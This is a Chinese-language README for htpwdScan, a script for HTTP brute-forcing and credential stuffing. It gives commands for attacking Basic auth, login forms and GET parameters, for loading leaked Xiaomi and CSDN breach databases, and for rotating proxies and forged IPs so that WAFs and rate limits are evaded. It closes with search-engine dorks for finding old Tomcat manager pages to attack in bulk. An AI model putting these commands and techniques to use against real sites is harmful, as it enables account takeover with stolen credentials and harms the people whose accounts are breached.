htpwdScan 是一个简单的HTTP暴力破解、撞库攻击脚本. 它的特性:

支持批量校验并导入HTTP代理,低频撞库可以成功攻击大部分网站,绕过大部分防御策略和waf
支持直接导入互联网上泄露的社工库,发起撞库攻击
支持导入超大字典
简单示例

HTTP Basic认证

htpwdScan.py -u=http://auth.58.com/ -basic user.txt password.txt
导入用户名密码字典即可

表单破解

htpwdScan.py -f post2.txt -d user=user.txt passwd=password.txt -err="success\":false"
从 post2.txt 导入抓的http包,user和passwd是需要破解的参数,而 user.txt password.txt 是保存了密码的字典文件

success":false 是选择的失败标记,标记中若有双引号,请记得用右斜杠 \ 转义

GET参数破解

htpwdScan.py -d passwd=password.txt -u="http://xxx.com/index.php?m=login&username=test&passwd=test" -get -err="success\":false"
使用-get参数告诉脚本此处是GET请求

撞库攻击

htpwdScan.py -f=post.txt -database loginname,passwd=xiaomi.txt -regex="(\S+)\s+(\S+)" -err="用户名或密码错误" -fip
htpwdScan.py -f=post.txt -database passwd,loginname=csdn.net.sql -regex="\S+ # (\S+) # (\S+)" -err="用户名或密码错误" -fip
使用小米和csdn库发起撞库攻击。post.txt是抓包的HTTP请求

参数-regex设定从文件提取参数的正则表达式,此处需分组,分组的方式是使用括号()

小米的数据行格式是 xxx@163.com xxxxxxx 也即 (用户名)空白字符(密码)

(\S+)\s+(\S+) 可指定第一个非空白字符拿去填充loginname,而第二个非空白字符串拿去填充passwd

csdn的数据行格式是zdg # 12344321 # zdg@csdn.net . 正则表达式写作\S+ # (\S+) # (\S+)

第一个#后面的非空白字符串填充passwd,第二个#后面的非空白字符串填充loginname

请注意,参数的顺序是重要的

-fip 是启用伪造随机IP

校验HTTP代理

htpwdScan.py -f=post.txt -proxylist=proxies.txt -checkproxy -suc="用户名或密码错误"
要破解某个网站,批量测试使用代理是否连通目标网站,把HTTP请求保存到post.txt,然后用-suc参数设定连通标记

一个简单可行的校验方式是:

htpwdScan.py -u=http://www.baidu.com -get -proxylist=available.txt -checkproxy -suc="百度一下"
完整参数说明

脚本支持的小功能较多,请耐心阅读以下完整说明。建议多使用 -debug 参数查看HTTP请求是否有问题,没问题再发起真正的破解。

 

用法:

htpwdScan.py  -basic users.dic pass.dic -u=http://www.test.com/need-auth-url/

-basic 后指定用户名和密码字典

-u指定URL,通常无需从文件导入HTTP请求

破解成功的序列输出类似:

403[Basic Auth] tomcat:tomcat http://www.gedn.com/manager/html

介绍一个批量利用Tomcat的小技巧:

在搜索引擎中搜索如下关键词,可以找到大量老版本Tomcat:

intitle:"Apache Tomcat"  intext:"Thanks for using Tomcat!"

对于较新版本,则使用如下关键词:

intitle:"Apache Tomcat/7.0.42"

为了匹配更多的7.0版本,考虑使用:

intitle:Apache Tomcat/7.0.

"Apache Software Foundation." intitle:Apache Tomcat/7.0

关于关键词的组合,不再详细介绍。 试用新的功能:https://github.com/lijiejie/htpwdScan